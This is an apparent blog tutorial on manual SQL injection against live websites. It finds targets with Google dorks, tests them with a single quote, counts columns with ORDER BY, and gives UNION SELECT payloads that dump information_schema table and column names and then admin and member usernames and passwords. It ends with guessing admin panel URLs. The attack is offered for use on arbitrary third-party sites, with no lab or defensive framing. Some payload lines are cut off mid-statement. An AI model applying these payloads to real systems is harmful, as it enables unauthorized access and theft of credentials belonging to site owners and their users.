Manual SQL Injection

                        Manual SQL Injection


Structured Query Language is Known as SQL. In order to communicate with the Database ,we are 
using SQL query. We are querying the database so it is called as Query language.
Definition from Complete reference:
SQL is a tool for organizing, managing, and retrieving data stored by a computer
database. The name "SQL" is an abbreviation for Structured Query Language. For
historical reasons, SQL is usually pronounced "sequel," but the alternate pronunciation
"S.Q.L." is also used. As the name implies, SQL is a computer language that you use to
interact with a database. In fact, SQL works with one specific type of database, called a
relational database.
Simple Basic Queries for SQL:
Select * from table_name :
this statement is used for showing the content of tables including column name.
select * from users;
Insert into table_name(column_names,...) values(corresponding values for columns):
For inserting data to table.
insert into users(username,userid) values("BreakTheSec","break");
I will give more detail and query in my next book about the SQL QUERY.

What is SQL Injection?

SQL injection is Common and famous method of hacking in present. Some newbie’s are thinking that 
this is a small thing due to some kiddy or scripted software like “Havij”, but if you see it manually then 
it is a huge topic and many books can be easily written on this. Using this method an unauthorized 
person can access the database of a website. Attacker can get all details from the Database.

What an attacker can do?
ByPassing Logins
Accessing secret data
Modifying contents of website
Shutting down the My SQL server
Now let's dive into the real procedure for the SQL Injection.

Follow the steps :-

Step 1: 

Finding Vulnerable Website:
Our best partner for SQL injection is Google. We can find the vulnerable websites (hackable websites) 
using Google Dork list. Google dork is searching for vulnerable websites using the Google searching 
tricks. There is lot of tricks to search in Google. But we are going to use "inurl:" command for finding 
the vulnerable websites.
Some Examples:
If you want to find out more then search on Google for latest SQL dorks.
How to use?
Copy one of the above command and paste in the Google search engine box.
Hit enter.
You can get list of web sites.
We have to visit the websites one by one for checking the vulnerability.
So Start from the first website.

Note: if you like to hack particular website,then try this: dork_list_commands
e.g.: inurl:index.php?id=

Step 2: 

Checking the Vulnerability:
Now we should check the vulnerability of websites. In order to check the vulnerability, add the single 
quotes (') at the end of the url and hit enter. (No space between the number and single quotes)
If the page remains in same page or showing that page not found or showing some other WebPages. 
Then it is not vulnerable.
If it showing any errors which is related to sql query, then it is vulnerable. Cheers..!!
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server 
version for the right syntax to use near '\'' at line 1

Step 3: 
Finding Number of columns:
Now we have found the website is vulnerable. Next step is to find the number of columns in the table.
For that replace the single quotes(') with "order by n" statement.(leave one space between number and 
order by n statement)
Change the n from 1,2,3,4,,5,6,...n. Until you get the error like "unknown column ".
e.g.: order by 1 order by 2 order by 3 order by 4
change the number until you get the error as "unknown column"
if you get the error while trying the "x"th number,then no of column is "x-1".
I mean: order by 1(noerror) order by 2(noerror) order by 3(noerror) order by 4(noerror) order by 5(noerror) order by 6(noerror) order by 7(noerror) order by 8(error)
so now x=8 , The number of column is x-1 i.e, 7.
Sometime the above may not work. At the time add the "--" at the end of the statement.
e.g.: order by 1--

Step 4: 

Displaying the Vulnerable columns:
Using "union select columns_sequence" we can find the vulnerable part of the table. Replace the 
"order by n" with this statement. And change the id value to negative(i mean id=-2,must change, but in 
some website may work without changing).
Replace the columns_sequence with the no from 1 to x-1(number of columns) separated with 
if the number of columns is 7 ,then the query is as follow: union select 1,2,3,4,5,6,7--
If the above method is not working then try this: and 1=2 union select 1,2,3,4,5,6,7--
It will show some numbers in the page(it must be less than 'x' value, i mean less than or equl to number 
of columns).
Now select 1 number.
It showing 3,7. Let's take the Number 3.

Step 5: 
Finding version, database, user
Now replace the 3 from the query with "version()"
e.g.: and 1=2 union select 1,2,version(),4,5,6,7--
It will show the version as 5.0.1 or 4.3. Something likes this.
Replace the version() with database() and user() for finding the database, user respectively.
e.g.: and 1=2 union select 1,2,database(),4,5,6,7-- and 1=2 union select 1,2,user(),4,5,6,7--
If the above is not working, then try this: and 1=2 union select 

Step 6: 
Finding the Table Name
If the version is 5 or above. Then follow these steps. Now we have to find the table name of the 
database. Replace the 3 with "group_concat(table_name) and add the "from information_schema.tables 
where table_schema=database()"
e.g.: and 1=2 union select 
1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where 
Now it will show the list of table names. Find the table name which is related with the admin or user.

Now select the "admin " table.
If the version is 4 or some others, you have to guess the table names. (user, tbluser). It is hard and bore 
to do sql injection with version 4.

Step 7: 
Finding the Column Name
Now replace the "group_concat(table_name) with the "group_concat(column_name)"
Replace the "from information_schema.tables where table_schema=database()--" with "FROM 
information_schema.columns WHERE table_name=mysqlchar--
Now listen carefully ,we have to find convert the table name to MySql CHAR() string and replace 
mysqlchar with that .
Find MysqlChar() for Tablename:
First of all install the HackBar addon: 
select sql->Mysql->MysqlChar()

This will open the small window ,enter the table name which you found. I am going to use the admin 
table name.

Click ok
Now you can see the CHAR(numbers separated with commas) in the Hack toolbar.

Copy and paste the code at the end of the url instead of the "mysqlchar"
e.g.: and 1=2 union select 
1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where 
table_name=CHAR(97, 100, 109, 105, 110)--
Now it will show the list of columns.
like admin,password,admin_id,admin_name,admin_password,active,id,admin_name,admin_pas   
Now replace the replace group_concat(column_name) with 
Columnname should be replaced from the listed column name.
anothercolumnname should be replace from the listed column name.
Now replace the " from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 
110)" with the "from table_name"

and 1=2 union select 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7 from admin--
Sometime it will show the column is not found.
Then try another column names
Now it will Username and Passwords.

If the website has members then jock-bot for you. You will have the list of usernames and password.
Some time you may have the email ids also, enjoy you got the Dock which can produce the golden 
Step 8: 
Finding the Admin Panel:
To find admin panel is a boring and time taken work, because you have to guess the admin panel like:
If you have luck, you will find the admin page.
If you want latest admin url list then search it on google, or it is more better to use admin panel script 
in perl.


Post a Comment